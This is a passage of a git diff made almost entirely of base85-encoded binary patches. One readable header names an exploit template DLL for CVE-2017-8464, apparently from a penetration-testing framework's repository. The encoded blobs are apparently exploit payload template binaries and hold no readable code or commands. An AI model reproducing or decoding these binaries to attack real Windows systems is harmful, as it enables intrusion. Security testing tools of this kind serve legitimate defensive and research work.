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
LONeayU-0}JYVLI_

literal 19456
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

diff --git a/data/exploits/cve-2017-8464/template_x86_windows.dll b/data/exploits/cve-2017-8464/template_x86_windows.dll
old mode 100755
new mode 100644
index b95dfe5232b73f48b2773b4add296114d6793b69..eeef7fb413215ccc7b676fda2873ece79e5e1b8b
GIT binary patch
literal 17408
zcmeHP4Rl+@m4341L?jL}!2$ygQHlZ%C-LgZf08Wu2V0409dKeh0rIQZ&)AJEInq;p
z+R)mSweWZd+y%CjLKkm1U3SS*{z{S(f)blJfwVP-CI)jLKxk!Tih*o!2}S$ec~7<z
zN>6v&QueGL=f0V_bLaleotZl?7E5pF;<Oyc=>UlY$L&T*Pbqu<=~p|t&z<}8bGawa
z`Nh25nyO#St8HoynA-fl8~vVEQ@zLQ^@*kpg2^BBnwq_)ife03t-b~!XV$D4W|eid
zo8zi9=WzS%Ble`U<J`HI&D5k^!es$d3V?F`=c7yqSODD4jjW!c=&b>U^k>hbc%v~^
z%Q3q+&ZLZ^0W=;DE7n6UHQG4tzUfr?g69FSBL{uKqwC_h%s<jsy9wh+u`hUXL}9Cl
zKJj9_NFlOy+z8b1tmmrN=QMak59*nEyexnj025%+Q_8K6=J*xD!D;9y1rYs}fJsj&
zXDQ9u5C{;emu#w@)H$izPW%LgAM??Abi&u1brKP(j9;@t$9&iZB+1SD99=Z0d^u)>
z;}+7Z9YFk?fJqPdMRUX!rk{!MT>zphrpCm>==?&9uU?&-2hc~pD+Nq?KzG%o=2Z2M
zc%UXUlG&#-x1%c-yNKhY9!Y189X*%h!b3YAs@b`5$Aft7rbrg`eQY7{(NJ&Zs-DPG
zz;P>AfJ3@mYc_`mf_~Y^Rqx!$N5cc(sR_NS;ZHqH10{xyXGFxyImn8EOTrl2v~y!<
zL??}o8XlXo6Eecl;9K2~q7oWQF?7C+aiE=xBDNKJF%3e!>8sYRJCMdjHgl1^SD=pz
zeWGDq!M7W_X&v&X<m+^@i@3)x1ev|Z(D^CwNx8?)mianAq)OEoI*Xw$YlWkR&Nne^
zqU#h|;UPok(}b-mC4I##*qz;1Vb)QQO0{M^+9oN(oahgYq=iz+7aHiy6jT)N>L#C(
zi|c2BUsO6MmUWYd2~`c0)Dw#9?5}Sz$XW>a2#rL){q@ZsNO|Vibuh3mm8c;OHDX0I
zKH8T`j-&d`spQKuy~QSB_<}?t(b#n}^YyR;jV?AH&_2C==SKKPPX%K{lNS5rLXI2$
z^s_{Q4Adzk9E#YR=uqg$?BU;nWMV#&bJk0v_n|93t84O8w^I7miW=#l^ipUfD?A_>
z^|qZGgU#LKD;QiEn~Bhqwwv`Nl?)=oYp|)nqlA`Ln{|Xbd4Ym@ZZgvMheQH&h@=$$
zy}ndp4LcK|-Yh8w|F7w3?20`MCr8Q?p)t+o%O;O~ABO<V+G(xyT(Bp8XXMGtnfOUE
z)06DQ?#UyY6;&{q&xyg%X-)8<Siw0HMz9qCjc->35Sbyo4r&pP$yT;11ZSgXsFt2Z
z9r~2nI&35ZPiqX}8K}fxfmi!d+tgs7Wr+nMUMyFcv*il2DRvWP1n!_Eq}o?&PK*5;
z{0rK&__3}!=^bT9uw-DW_d%t@>PnA1Oa4Irnx07$ing)?tYNmKUja_#dPH-=sPpgK
zSY3^loG)TI67J}7xm?F8%aWGMT1I>uDC+pA^bTz(zf4FUz!3Q+y}Tyv!$+hyK7KK>
z47d*;;iDhFc(wg`{}l_K*VgGnH>GndATrG2^w>Nj$Hk{5jM<Qj^?O&;@Dz5cEH?2_
z6O1G7<Dro%IhfYxK0(Ix(P7C+6<D}#roJA>4O6ED>hJ?BmJFRS5XtW2k)<b~bQ%po
zN#`7u?2wnL%<0n7ehigeO&FRuCfA(^jbvaikm_EJ-I2l8I<}%t43d}j%XKd+Qjed(
